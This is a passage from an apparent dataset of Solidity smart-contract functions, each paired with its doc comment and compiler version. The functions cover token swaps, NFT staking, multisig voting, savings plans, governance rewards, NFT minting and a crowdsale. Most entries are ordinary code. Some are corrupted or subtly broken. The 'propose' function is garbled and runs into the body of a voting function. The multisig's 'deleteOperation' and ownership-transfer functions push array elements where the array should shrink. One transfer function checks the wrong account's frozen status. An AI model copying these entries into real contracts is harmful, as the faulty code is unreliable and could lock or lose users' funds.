(multisigAddress.send(this.balance)){} // Send remainder so it can be manually processed \r\n }", "version": "0.4.17"} {"comment": "// update reserves and, on the first call per block, price accumulators", "function_code": "function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {\r\n require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'ImpulsevenSwapV2: OVERFLOW');\r\n uint32 blockTimestamp = uint32(block.timestamp % 2**32);\r\n uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired\r\n if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {\r\n // * never overflows, and + overflow is desired\r\n price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;\r\n price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;\r\n }\r\n reserve0 = uint112(balance0);\r\n reserve1 = uint112(balance1);\r\n blockTimestampLast = blockTimestamp;\r\n emit Sync(reserve0, reserve1);\r\n }", "version": "0.5.16"} {"comment": "// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)", "function_code": "function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {\r\n address feeTo = IImpulsevenSwapV2Factory(factory).feeTo();\r\n feeOn = feeTo != address(0);\r\n uint _kLast = kLast; // gas savings\r\n if (feeOn) {\r\n if (_kLast != 0) {\r\n uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));\r\n uint rootKLast = Math.sqrt(_kLast);\r\n if (rootK > rootKLast) {\r\n uint numerator = totalSupply.mul(rootK.sub(rootKLast));\r\n uint denominator = rootK.mul(10).add(rootKLast);\r\n uint liquidity = numerator / denominator;\r\n if (liquidity > 0) _mint(feeTo, liquidity);\r\n }\r\n }\r\n } else if (_kLast != 0) {\r\n kLast = 0;\r\n }\r\n }", "version": "0.5.16"} {"comment": "// this low-level function should be called from a contract which performs important safety checks", "function_code": "function mint(address to) external lock returns (uint liquidity) {\r\n (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings\r\n uint balance0 = IERC20(token0).balanceOf(address(this));\r\n uint balance1 = IERC20(token1).balanceOf(address(this));\r\n uint amount0 = balance0.sub(_reserve0);\r\n uint amount1 = balance1.sub(_reserve1);\r\n\r\n bool feeOn = _mintFee(_reserve0, _reserve1);\r\n uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee\r\n if (_totalSupply == 0) {\r\n liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);\r\n _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens\r\n } else {\r\n liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);\r\n }\r\n require(liquidity > 0, 'ImpulsevenSwapV2: INSUFFICIENT_LIQUIDITY_MINTED');\r\n _mint(to, liquidity);\r\n\r\n _update(balance0, balance1, _reserve0, _reserve1);\r\n if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date\r\n emit Mint(msg.sender, amount0, amount1);\r\n }", "version": "0.5.16"} {"comment": "/**\n * Realize $CARROT earnings and optionally unstake tokens.\n * @param tokenIds the IDs of the tokens to claim earnings from\n * @param unstake whether or not to unstake ALL of the tokens listed in tokenIds\n * @param membership wheather user is membership or not\n * @param seed account seed\n * @param sig signature\n */", "function_code": "function claimRewardsAndUnstake(uint16[] calldata tokenIds, bool unstake, bool membership, uint48 expiration, uint256 seed, bytes memory sig) external whenNotPaused nonReentrant _eosOnly _updateEarnings {\n require(isValidSignature(msg.sender, membership, expiration, seed, sig), \"invalid signature\");\n\n uint128 reward;\n IFoxGameNFT.Kind kind;\n uint48 time = uint48(block.timestamp);\n for (uint8 i = 0; i < tokenIds.length; i++) {\n kind = _getKind(tokenIds[i]);\n if (kind == IFoxGameNFT.Kind.RABBIT) {\n reward += _claimRabbitsFromKeep(tokenIds[i], unstake, time, seed);\n } else if (kind == IFoxGameNFT.Kind.FOX) {\n reward += _claimFoxFromDen(tokenIds[i], unstake, seed);\n } else { // HUNTER\n reward += _claimHunterFromCabin(tokenIds[i], unstake, time);\n }\n }\n if (reward != 0) {\n foxCarrot.mint(msg.sender, reward);\n }\n }", "version": "0.8.10"} {"comment": "/**\r\n * @dev onlyManyOwners modifier helper\r\n */", "function_code": "function checkHowManyOwners(uint howMany) internal returns(bool) {\r\n if (insideCallSender == msg.sender) {\r\n require(howMany <= insideCallCount, \"checkHowManyOwners: nested owners modifier check require more owners\");\r\n return true;\r\n }\r\n\r\n uint ownerIndex = ownersIndices[msg.sender] - 1;\r\n require(ownerIndex < owners.length, \"checkHowManyOwners: msg.sender is not an owner\");\r\n bytes32 operation = keccak256(abi.encodePacked(msg.data, ownersGeneration));\r\n\r\n require((votesMaskByOperation[operation] & (2 ** ownerIndex)) == 0, \"checkHowManyOwners: owner already voted for the operation\");\r\n votesMaskByOperation[operation] |= (2 ** ownerIndex);\r\n uint operationVotesCount = votesCountByOperation[operation] + 1;\r\n votesCountByOperation[operation] = operationVotesCount;\r\n if (operationVotesCount == 1) {\r\n allOperationsIndicies[operation] = allOperations.length;\r\n allOperations.push(operation);\r\n emit OperationCreated(operation, howMany, owners.length, msg.sender);\r\n }\r\n emit OperationUpvoted(operation, operationVotesCount, howMany, owners.length, msg.sender);\r\n\r\n // If enough owners confirmed the same operation\r\n if (votesCountByOperation[operation] == howMany) {\r\n deleteOperation(operation);\r\n emit OperationPerformed(operation, howMany, owners.length, msg.sender);\r\n return true;\r\n }\r\n\r\n return false;\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Used to delete cancelled or performed operation\r\n * @param operation defines which operation to delete\r\n */", "function_code": "function deleteOperation(bytes32 operation) internal {\r\n uint index = allOperationsIndicies[operation];\r\n if (index < allOperations.length - 1) { // Not last\r\n allOperations[index] = allOperations[allOperations.length - 1];\r\n allOperationsIndicies[allOperations[index]] = index;\r\n }\r\n //allOperations.length-1\r\n allOperations.push(allOperations[allOperations.length-1]);\r\n\r\n delete votesMaskByOperation[operation];\r\n delete votesCountByOperation[operation];\r\n delete allOperationsIndicies[operation];\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Allows owners to change their mind by cacnelling votesMaskByOperation operations\r\n * @param operation defines which operation to delete\r\n */", "function_code": "function cancelPending(bytes32 operation) public onlyAnyOwner {\r\n uint ownerIndex = ownersIndices[msg.sender] - 1;\r\n require((votesMaskByOperation[operation] & (2 ** ownerIndex)) != 0, \"cancelPending: operation not found for this user\");\r\n votesMaskByOperation[operation] &= ~(2 ** ownerIndex);\r\n uint operationVotesCount = votesCountByOperation[operation] - 1;\r\n votesCountByOperation[operation] = operationVotesCount;\r\n emit OperationDownvoted(operation, operationVotesCount, owners.length, msg.sender);\r\n if (operationVotesCount == 0) {\r\n deleteOperation(operation);\r\n emit OperationCancelled(operation, msg.sender);\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Allows owners to change ownership\r\n * @param newOwners defines array of addresses of new owners\r\n * @param newHowManyOwnersDecide defines how many owners can decide\r\n */", "function_code": "function transferOwnershipWithHowMany(address[] memory newOwners, uint256 newHowManyOwnersDecide) public onlyManyOwners {\r\n require(newOwners.length > 0, \"transferOwnershipWithHowMany: owners array is empty\");\r\n require(newOwners.length <= 256, \"transferOwnershipWithHowMany: owners count is greater then 256\");\r\n require(newHowManyOwnersDecide > 0, \"transferOwnershipWithHowMany: newHowManyOwnersDecide equal to 0\");\r\n require(newHowManyOwnersDecide <= newOwners.length, \"transferOwnershipWithHowMany: newHowManyOwnersDecide exceeds the number of owners\");\r\n\r\n // Reset owners reverse lookup table\r\n for (uint j = 0; j < owners.length; j++) {\r\n delete ownersIndices[owners[j]];\r\n }\r\n for (uint i = 0; i < newOwners.length; i++) {\r\n require(newOwners[i] != address(0), \"transferOwnershipWithHowMany: owners array contains zero\");\r\n require(ownersIndices[newOwners[i]] == 0, \"transferOwnershipWithHowMany: owners array contains duplicates\");\r\n ownersIndices[newOwners[i]] = i + 1;\r\n }\r\n \r\n emit OwnershipTransferred(owners, howManyOwnersDecide, newOwners, newHowManyOwnersDecide);\r\n owners = newOwners;\r\n howManyOwnersDecide = newHowManyOwnersDecide;\r\n // allOperations.length = 0;\r\n allOperations.push(allOperations[0]);\r\n ownersGeneration++;\r\n }", "version": "0.6.12"} {"comment": "/// @notice this function is used to send ES as prepaid for PET\n/// @dev some ES already in prepaid required\n/// @param _addresses: address array to send prepaid ES for PET\n/// @param _amounts: prepaid ES for PET amounts to send to corresponding addresses", "function_code": "function sendPrepaidESDifferent(\r\n address[] memory _addresses,\r\n uint256[] memory _amounts\r\n ) public {\r\n for(uint256 i = 0; i < _addresses.length; i++) {\r\n /// @notice subtracting amount from sender prepaidES\r\n prepaidES[msg.sender] = prepaidES[msg.sender].sub(_amounts[i]);\r\n\r\n /// @notice then incrementing the amount into receiver's prepaidES\r\n prepaidES[_addresses[i]] = prepaidES[_addresses[i]].add(_amounts[i]);\r\n }\r\n }", "version": "0.5.16"} {"comment": "/// @notice this function is used by anyone to create a new PET\n/// @param _planId: id of PET in staker portfolio\n/// @param _monthlyCommitmentAmount: PET monthly commitment amount in exaES", "function_code": "function newPET(\r\n uint256 _planId,\r\n uint256 _monthlyCommitmentAmount\r\n ) public {\r\n /// @notice enforcing that the plan should be active\r\n require(\r\n petPlans[_planId].isPlanActive\r\n , 'PET plan is not active'\r\n );\r\n\r\n /// @notice enforcing that monthly commitment by the staker should be more than\r\n /// minimum monthly commitment in the selected plan\r\n require(\r\n _monthlyCommitmentAmount >= petPlans[_planId].minimumMonthlyCommitmentAmount\r\n , 'low monthlyCommitmentAmount'\r\n );\r\n\r\n /// @notice adding the PET to staker's pets storage\r\n pets[msg.sender].push(PET({\r\n planId: _planId,\r\n monthlyCommitmentAmount: _monthlyCommitmentAmount,\r\n initTimestamp: now,\r\n lastAnnuityWithdrawlMonthId: 0,\r\n appointeeVotes: 0,\r\n numberOfAppointees: 0\r\n }));\r\n\r\n /// @notice emiting an event\r\n emit NewPET(\r\n msg.sender,\r\n pets[msg.sender].length - 1,\r\n _monthlyCommitmentAmount\r\n );\r\n }", "version": "0.5.16"} {"comment": "/// @notice this function is used by deployer to create plans for new PETs\n/// @param _minimumMonthlyCommitmentAmount: minimum PET monthly amount in exaES\n/// @param _monthlyBenefitFactorPerThousand: this is per 1000; i.e 200 for 20%", "function_code": "function createPETPlan(\r\n uint256 _minimumMonthlyCommitmentAmount,\r\n uint256 _monthlyBenefitFactorPerThousand\r\n ) public onlyDeployer {\r\n\r\n /// @notice adding the petPlan to storage\r\n petPlans.push(PETPlan({\r\n isPlanActive: true,\r\n minimumMonthlyCommitmentAmount: _minimumMonthlyCommitmentAmount,\r\n monthlyBenefitFactorPerThousand: _monthlyBenefitFactorPerThousand\r\n }));\r\n\r\n /// @notice emitting an event\r\n emit NewPETPlan(\r\n _minimumMonthlyCommitmentAmount,\r\n _monthlyBenefitFactorPerThousand,\r\n petPlans.length - 1\r\n );\r\n }", "version": "0.5.16"} {"comment": "/// @notice this function is used to update nominee status of a wallet address in PET\n/// @param _petId: id of PET in staker portfolio.\n/// @param _nomineeAddress: eth wallet address of nominee.\n/// @param _newNomineeStatus: true or false, whether this should be a nominee or not.", "function_code": "function toogleNominee(\r\n uint256 _petId,\r\n address _nomineeAddress,\r\n bool _newNomineeStatus\r\n ) public {\r\n /// @notice updating nominee status\r\n pets[msg.sender][_petId].nominees[_nomineeAddress] = _newNomineeStatus;\r\n\r\n /// @notice emiting event for UI and other applications\r\n emit NomineeUpdated(msg.sender, _petId, _nomineeAddress, _newNomineeStatus);\r\n }", "version": "0.5.16"} {"comment": "/// @notice this function is used to update appointee status of a wallet address in PET\n/// @param _petId: id of PET in staker portfolio.\n/// @param _appointeeAddress: eth wallet address of appointee.\n/// @param _newAppointeeStatus: true or false, should this have appointee rights or not.", "function_code": "function toogleAppointee(\r\n uint256 _petId,\r\n address _appointeeAddress,\r\n bool _newAppointeeStatus\r\n ) public {\r\n PET storage _pet = pets[msg.sender][_petId];\r\n\r\n /// @notice if not an appointee already and _newAppointeeStatus is true, adding appointee\r\n if(!_pet.appointees[_appointeeAddress] && _newAppointeeStatus) {\r\n _pet.numberOfAppointees = _pet.numberOfAppointees.add(1);\r\n _pet.appointees[_appointeeAddress] = true;\r\n }\r\n\r\n /// @notice if already an appointee and _newAppointeeStatus is false, removing appointee\r\n else if(_pet.appointees[_appointeeAddress] && !_newAppointeeStatus) {\r\n _pet.appointees[_appointeeAddress] = false;\r\n _pet.numberOfAppointees = _pet.numberOfAppointees.sub(1);\r\n }\r\n\r\n emit AppointeeUpdated(msg.sender, _petId, _appointeeAddress, _newAppointeeStatus);\r\n }", "version": "0.5.16"} {"comment": "/// @notice this function is used by appointee to vote that nominees can withdraw early\n/// @dev need to be appointee, set by staker themselves\n/// @param _stakerAddress: address of initiater of this PET.\n/// @param _petId: id of PET in staker portfolio.", "function_code": "function appointeeVote(\r\n address _stakerAddress,\r\n uint256 _petId\r\n ) public {\r\n PET storage _pet = pets[_stakerAddress][_petId];\r\n\r\n /// @notice checking if appointee has rights to cast a vote\r\n require(_pet.appointees[msg.sender]\r\n , 'should be appointee to cast vote'\r\n );\r\n\r\n /// @notice removing appointee's rights to vote again\r\n _pet.appointees[msg.sender] = false;\r\n\r\n /// @notice adding a vote to PET\r\n _pet.appointeeVotes = _pet.appointeeVotes.add(1);\r\n\r\n /// @notice emit that appointee has voted\r\n emit AppointeeVoted(_stakerAddress, _petId, msg.sender);\r\n }", "version": "0.5.16"} {"comment": "/// @notice this function is used by contract to get nominee's allowed timestamp\n/// @param _stakerAddress: address of staker who has a PET\n/// @param _petId: id of PET in staker address portfolio\n/// @param _annuityMonthId: this is the month for which timestamp to find\n/// @return nominee allowed timestamp", "function_code": "function getNomineeAllowedTimestamp(\r\n address _stakerAddress,\r\n uint256 _petId,\r\n uint256 _annuityMonthId\r\n ) public view returns (uint256) {\r\n PET storage _pet = pets[_stakerAddress][_petId];\r\n uint256 _allowedTimestamp = _pet.initTimestamp\r\n + (12 + _annuityMonthId - 1) * EARTH_SECONDS_IN_MONTH;\r\n\r\n /// @notice if tranasction sender is not the staker, then more delay to _allowedTimestamp\r\n if(msg.sender != _stakerAddress) {\r\n if(_pet.appointeeVotes > _pet.numberOfAppointees.div(2)) {\r\n _allowedTimestamp += EARTH_SECONDS_IN_MONTH * 6;\r\n } else {\r\n _allowedTimestamp += EARTH_SECONDS_IN_MONTH * 12;\r\n }\r\n }\r\n\r\n return _allowedTimestamp;\r\n }", "version": "0.5.16"} {"comment": "/// @notice this function is used to get total annuity benefits between two months\n/// @param _stakerAddress: address of staker who has a PET\n/// @param _petId: id of PET in staker address portfolio\n/// @param _startAnnuityMonthId: this is the month (inclusive) to start from\n/// @param _endAnnuityMonthId: this is the month (inclusive) to stop at", "function_code": "function getSumOfMonthlyAnnuity(\r\n address _stakerAddress,\r\n uint256 _petId,\r\n uint256 _startAnnuityMonthId,\r\n uint256 _endAnnuityMonthId\r\n ) public view returns (uint256) {\r\n /// @notice get the storage references of staker's PET and Plan\r\n PET storage _pet = pets[_stakerAddress][_petId];\r\n PETPlan storage _petPlan = petPlans[_pet.planId];\r\n\r\n uint256 _totalDeposits;\r\n\r\n /// @notice calculating both deposits for every month and adding it\r\n for(uint256 _i = _startAnnuityMonthId; _i <= _endAnnuityMonthId; _i++) {\r\n uint256 _modulo = _i%12;\r\n uint256 _depositAmountIncludingPET = _getTotalDepositedIncludingPET(_pet.monthlyDepositAmount[_modulo==0?12:_modulo], _pet.monthlyCommitmentAmount);\r\n\r\n _totalDeposits = _totalDeposits.add(_depositAmountIncludingPET);\r\n }\r\n\r\n /// @notice calculating annuity from total both deposits done\r\n return _totalDeposits.mul(_petPlan.monthlyBenefitFactorPerThousand).div(1000);\r\n }", "version": "0.5.16"} {"comment": "/// @notice calculating power booster amount\n/// @param _stakerAddress: address of staker who has PET\n/// @param _petId: id of PET in staket address portfolio\n/// @return single power booster amount", "function_code": "function calculatePowerBoosterAmount(\r\n address _stakerAddress,\r\n uint256 _petId\r\n ) public view returns (uint256) {\r\n /// @notice get the storage reference of staker's PET\r\n PET storage _pet = pets[_stakerAddress][_petId];\r\n\r\n uint256 _totalDepositedIncludingPET;\r\n\r\n /// @notice calculating total deposited by staker and pet in all 12 months\r\n for(uint256 _i = 1; _i <= 12; _i++) {\r\n uint256 _depositAmountIncludingPET = _getTotalDepositedIncludingPET(\r\n _pet.monthlyDepositAmount[_i],\r\n _pet.monthlyCommitmentAmount\r\n );\r\n\r\n _totalDepositedIncludingPET = _totalDepositedIncludingPET.add(_depositAmountIncludingPET);\r\n }\r\n\r\n return _totalDepositedIncludingPET.div(12);\r\n }", "version": "0.5.16"} {"comment": "/// @notice this function is used internally to burn penalised booster tokens\n/// @param _stakerAddress: address of staker who has a PET\n/// @param _petId: id of PET in staker address portfolio", "function_code": "function _burnPenalisedPowerBoosterTokens(\r\n address _stakerAddress,\r\n uint256 _petId\r\n ) private {\r\n /// @notice get the storage references of staker's PET\r\n PET storage _pet = pets[_stakerAddress][_petId];\r\n\r\n uint256 _unachieveTargetCount;\r\n\r\n /// @notice calculating number of unacheived targets\r\n for(uint256 _i = 1; _i <= 12; _i++) {\r\n if(_pet.monthlyDepositAmount[_i] < _pet.monthlyCommitmentAmount) {\r\n _unachieveTargetCount++;\r\n }\r\n }\r\n\r\n uint256 _powerBoosterAmount = calculatePowerBoosterAmount(_stakerAddress, _petId);\r\n\r\n /// @notice burning the unacheived power boosters\r\n uint256 _burningAmount = _powerBoosterAmount.mul(_unachieveTargetCount);\r\n token.burn(_burningAmount);\r\n\r\n // @notice emitting an event\r\n emit BoosterBurn(_stakerAddress, _petId, _burningAmount);\r\n }", "version": "0.5.16"} {"comment": "/// @notice this function is used by contract to get total deposited amount including PET\n/// @param _amount: amount of ES which is deposited\n/// @param _monthlyCommitmentAmount: commitment amount of staker\n/// @return staker plus pet deposit amount based on acheivement of commitment", "function_code": "function _getTotalDepositedIncludingPET(\r\n uint256 _amount,\r\n uint256 _monthlyCommitmentAmount\r\n ) private pure returns (uint256) {\r\n uint256 _petAmount;\r\n\r\n /// @notice if there is topup then add half of topup to pet\r\n if(_amount > _monthlyCommitmentAmount) {\r\n uint256 _topupAmount = _amount.sub(_monthlyCommitmentAmount);\r\n _petAmount = _monthlyCommitmentAmount.add(_topupAmount.div(2));\r\n }\r\n /// @notice otherwise if amount is atleast half of commitment and at most commitment\r\n /// then take staker amount as the pet amount\r\n else if(_amount >= _monthlyCommitmentAmount.div(2)) {\r\n _petAmount = _amount;\r\n }\r\n\r\n /// @notice finally sum staker amount and pet amount and return it\r\n return _amount.add(_petAmount);\r\n }", "version": "0.5.16"} {"comment": "// **PUBLIC PAYABLE functions**\n// Example: _collToken = Eth, _borrowToken = USDC", "function_code": "function deposit(\r\n address _collToken, address _cCollToken, uint _collAmount, address _borrowToken, address _cBorrowToken, uint _borrowAmount\r\n ) public payable authCheck {\r\n // add _cCollToken to market\r\n enterMarketInternal(_cCollToken);\r\n\r\n // mint _cCollToken\r\n mintInternal(_collToken, _cCollToken, _collAmount);\r\n\r\n // borrow and withdraw _borrowToken\r\n if (_borrowToken != address(0)) {\r\n borrowInternal(_borrowToken, _cBorrowToken, _borrowAmount);\r\n }\r\n }", "version": "0.5.17"} {"comment": "// Example: _collToken = Eth, _borrowToken = USDC", "function_code": "function withdraw(\r\n address _collToken, address _cCollToken, uint256 cAmountRedeem, address _borrowToken, address _cBorrowToken, uint256 amountRepay\r\n ) public payable authCheck returns (uint256) {\r\n // repayBorrow _cBorrowToken\r\n paybackInternal(_borrowToken, _cBorrowToken, amountRepay);\r\n\r\n // redeem _cCollToken\r\n return redeemInternal(_collToken, _cCollToken, cAmountRedeem);\r\n }", "version": "0.5.17"} {"comment": "/// @notice Adds to governance contract staking reward tokens to be sent to vote process participants.\n/// @param _reward Amount of staking rewards token in wei", "function_code": "function notifyRewardAmount(uint256 _reward)\r\n external\r\n onlyRewardDistribution\r\n override\r\n updateReward(address(0))\r\n {\r\n IERC20(rewardsToken).safeTransferFrom(_msgSender(), address(this), _reward);\r\n if (block.timestamp >= periodFinish) {\r\n rewardRate = _reward.div(DURATION);\r\n } else {\r\n uint256 remaining = periodFinish.sub(block.timestamp);\r\n uint256 leftover = remaining.mul(rewardRate);\r\n rewardRate = _reward.add(leftover).div(DURATION);\r\n }\r\n lastUpdateTime = block.timestamp;\r\n periodFinish = block.timestamp.add(DURATION);\r\n emit RewardAdded(_reward);\r\n }", "version": "0.6.3"} {"comment": "/// @notice Creates a proposal to vote\n/// @param _executor Executor contract address\n/// @param _hash IPFS hash of the proposal document", "function_code": "function propose(address _executor, string memory _hash) public {\r\n require(votesOf(_msgSender()) > minimum, \" block.number, \">end\");\r\n\r\n uint256 _for = proposals[_id].forVotes[_msgSender()];\r\n if (_for > 0) {\r\n proposals[_id].totalForVotes = proposals[_id].totalForVotes.sub(_for);\r\n proposals[_id].forVotes[_msgSender()] = 0;\r\n }\r\n\r\n uint256 vote = votesOf(_msgSender()).sub(proposals[_id].againstVotes[_msgSender()]);\r\n proposals[_id].totalAgainstVotes = proposals[_id].totalAgainstVotes.add(vote);\r\n proposals[_id].againstVotes[_msgSender()] = votesOf(_msgSender());\r\n\r\n proposals[_id].totalVotesAvailable = totalVotes;\r\n uint256 _votes = proposals[_id].totalForVotes.add(proposals[_id].totalAgainstVotes);\r\n proposals[_id].quorum = _votes.mul(10000).div(totalVotes);\r\n\r\n voteLock[_msgSender()] = lock.add(block.number);\r\n\r\n emit Vote(_id, _msgSender(), false, vote);\r\n }", "version": "0.6.3"} {"comment": "/// @notice Allow to remove old governance tokens from voter weight, simultaneosly it recalculates reward size according to new weight\n/// @param _amount Amount of governance token to withdraw", "function_code": "function withdraw(uint256 _amount) public override updateReward(_msgSender()) {\r\n require(_amount > 0, \"!withdraw 0\");\r\n if (voters[_msgSender()]) {\r\n votes[_msgSender()] = votes[_msgSender()].sub(_amount);\r\n totalVotes = totalVotes.sub(_amount);\r\n }\r\n if (!breaker) {\r\n require(voteLock[_msgSender()] < block.number, \"!locked\");\r\n }\r\n super.withdraw(_amount);\r\n emit Withdrawn(_msgSender(), _amount);\r\n }", "version": "0.6.3"} {"comment": "/// @notice Transfer staking reward tokens to voter (msg.sender), simultaneosly it recalculates reward size according to new weight and rewards remaining", "function_code": "function getReward() public updateReward(_msgSender()) {\r\n if (!breaker) {\r\n require(voteLock[_msgSender()] > block.number, \"!voted\");\r\n }\r\n uint256 reward = earned(_msgSender());\r\n if (reward > 0) {\r\n rewards[_msgSender()] = 0;\r\n rewardsToken.transfer(_msgSender(), reward);\r\n emit RewardPaid(_msgSender(), reward);\r\n }\r\n }", "version": "0.6.3"} {"comment": "/** TRANSFER SECTION by Beni Syahroni,S.Pd.I\r\n */", "function_code": "function _transfer(address _from, address _to, uint _value) internal {\r\n \r\n require(_to !=0x0);\r\n require(balanceOf[_from] >=_value);\r\n require(balanceOf[_to] + _value >= balanceOf[_to]);\r\n require(!frozenAccount[msg.sender]);\r\n \r\n uint previousBalances = balanceOf[_from] + balanceOf[_to];\r\n \r\n balanceOf[_from] -= _value;\r\n balanceOf[_to] += _value;\r\n \r\n emit Transfer (_from, _to, _value);\r\n assert(balanceOf[_from] + balanceOf[_to] == previousBalances);\r\n }", "version": "0.4.24"} {"comment": "/**\n \t * @dev\n \t * Encode team distribution percentage\n \t * Embed all individuals equity and payout to seedz project\n \t * retain at least 0.1 ether in the smart contract\n \t */", "function_code": "function withdraw() public onlyOwner {\n\t\t/* Minimum balance */\n\t\trequire(address(this).balance > 0.5 ether);\n\t\tuint256 balance = address(this).balance - 0.1 ether;\n\n\t\tfor (uint256 i = 0; i < _team.length; i++) {\n\t\t\tTeam storage _st = _team[i];\n\t\t\t_st.addr.transfer((balance * _st.percentage) / 100);\n\t\t}\n\t}", "version": "0.8.7"} {"comment": "/**\n \t * Set some Apes aside\n \t * We will set aside 50 Vapenapes for community giveaways and promotions\n \t */", "function_code": "function reserveApes() public onlyOwner {\n\t\trequire(totalSupply().add(NUM_TO_RESERVE) <= MAX_APES, \"Reserve would exceed max supply\");\n\n\t\tuint256 supply = totalSupply();\n\t\tfor (uint256 i = 0; i < NUM_TO_RESERVE; i++) {\n\t\t\t_safeMint(_msgSender(), supply + i);\n\t\t}\n\t}", "version": "0.8.7"} {"comment": "/**\n \t * Mints Apes\n \t */", "function_code": "function mintApe(uint256 numberOfTokens) public payable saleIsOpen {\n\t\trequire(numberOfTokens <= MAX_APE_PURCHASE, \"Can only mint 20 tokens at a time\");\n\n\t\trequire(totalSupply().add(numberOfTokens) <= MAX_APES, \"Purchase would exceed max supply of Apes\");\n\t\trequire(APE_SALEPRICE.mul(numberOfTokens) <= msg.value, \"Ether value sent is not correct\");\n\n\t\tfor (uint256 i = 0; i < numberOfTokens; i++) {\n\t\t\t/* Increment supply and mint token */\n\t\t\tuint256 id = totalSupply();\n\t\t\t_tokenIdTracker.increment();\n\n\t\t\t/* For each number mint ape */\n\t\t\tif (totalSupply() < MAX_APES) {\n\t\t\t\t_safeMint(msg.sender, id);\n\n\t\t\t\t/* emit mint event */\n\t\t\t\temit MintApe(id);\n\t\t\t}\n\t\t}\n\n\t\t// If we haven't set the starting index and this is either 1) the last saleable token or 2) the first token to be sold after\n\t\t// the end of pre-sale, set the starting index block\n\t\tif (startingIndexBlock == 0 && (totalSupply() == MAX_APES || block.timestamp >= revealTimestamp)) {\n\t\t\tstartingIndexBlock = block.number;\n\t\t}\n\t}", "version": "0.8.7"} {"comment": "/**\r\n * @dev IFoundation\r\n */", "function_code": "function getFees(uint256 tokenId)\r\n external\r\n view\r\n virtual\r\n returns (address payable[] memory, uint256[] memory)\r\n {\r\n require(_existsRoyalties(tokenId), \"Nonexistent token\");\r\n\r\n address payable[] memory receivers = new address payable[](1);\r\n uint256[] memory bps = new uint256[](1);\r\n receivers[0] = _getReceiver(tokenId);\r\n bps[0] = _getBps(tokenId);\r\n return (receivers, bps);\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * CONSTRUCTOR\r\n *\r\n * @dev Initialize the EtherSportCrowdsale\r\n * @param _startTime Start time timestamp\r\n * @param _endTime End time timestamp\r\n * @param _token EtherSport ERC20 token\r\n * @param _from Wallet address with token allowance\r\n * @param _wallet Wallet address to transfer direct funding to\r\n */", "function_code": "function EtherSportCrowdsale(\r\n uint256 _startTime, \r\n uint256 _endTime, \r\n address _token, \r\n address _from, \r\n address _wallet\r\n )\r\n public \r\n {\r\n require(_startTime < _endTime);\r\n require(_token != address(0));\r\n require(_from != address(0));\r\n require(_wallet != address(0));\r\n\r\n startTime = _startTime;\r\n endTime = _endTime;\r\n token = ERC20(_token);\r\n tokenFrom = _from;\r\n wallet = _wallet;\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @dev Makes order for tokens purchase.\r\n * @param _beneficiary Who will get the tokens\r\n * @param _referer Beneficiary's referer (optional)\r\n */", "function_code": "function buyTokensFor(\r\n address _beneficiary, \r\n address _referer\r\n ) \r\n public \r\n payable \r\n {\r\n require(_beneficiary != address(0));\r\n require(_beneficiary != _referer);\r\n\r\n require(msg.value >= MIN_FUNDING_AMOUNT);\r\n\r\n require(liveEtherSportCampaign());\r\n require(oraclize_getPrice(\"URL\") <= this.balance);\r\n\r\n uint256 _funds = msg.value;\r\n address _funder = msg.sender;\r\n bytes32 _orderId = oraclize_query(\"URL\", ethRateURL, oraclizeGasLimit);\r\n\r\n OrderEvent(_beneficiary, _orderId);\r\n\r\n orders[_orderId].beneficiary = _beneficiary;\r\n orders[_orderId].funds = _funds;\r\n orders[_orderId].referer = _referer;\r\n \r\n uint256 _offerCondition = offers[_funder].condition;\r\n\r\n uint256 _bonus;\r\n\r\n // in case of special offer\r\n if (_offerCondition > 0 && _offerCondition <= _funds) {\r\n uint256 _offerPrice = offers[_funder].specialPrice;\r\n\r\n offers[_funder].condition = 0;\r\n offers[_funder].specialPrice = 0;\r\n\r\n orders[_orderId].specialPrice = _offerPrice;\r\n } else if (_funds >= VOLUME_BONUS_CONDITION) { \r\n _bonus = VOLUME_BONUS;\r\n } else if (bonusedPurchases < BONUSED_PURCHASES_LIMIT) {\r\n bonusedPurchases = bonusedPurchases.add(1);\r\n _bonus = PURCHASES_BONUS;\r\n }\r\n orders[_orderId].bonus = _bonus;\r\n\r\n uint256 _transferFunds = _funds.sub(ORACLIZE_COMMISSION);\r\n wallet.transfer(_transferFunds);\r\n\r\n raised = raised.add(_funds);\r\n funders[_funder] = true;\r\n\r\n FundingEvent(_funder, _referer, _orderId, _beneficiary, _funds); // solium-disable-line arg-overflow\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @dev Get current rate from oraclize and transfer tokens.\r\n * @param _orderId Oraclize order id\r\n * @param _result Current rate\r\n */", "function_code": "function __callback(bytes32 _orderId, string _result) public { // solium-disable-line mixedcase\r\n require(msg.sender == oraclize_cbAddress());\r\n\r\n uint256 _rate = parseInt(_result, RATE_EXPONENT);\r\n\r\n address _beneficiary = orders[_orderId].beneficiary;\r\n uint256 _funds = orders[_orderId].funds;\r\n uint256 _bonus = orders[_orderId].bonus;\r\n address _referer = orders[_orderId].referer;\r\n uint256 _specialPrice = orders[_orderId].specialPrice;\r\n\r\n orders[_orderId].rate = _rate;\r\n \r\n uint256 _tokens = _funds.mul(_rate);\r\n\r\n if (_specialPrice > 0) {\r\n _tokens = _tokens.div(_specialPrice);\r\n } else {\r\n _tokens = _tokens.div(TOKEN_PRICE);\r\n }\r\n _tokens = _tokens.mul(10 ** 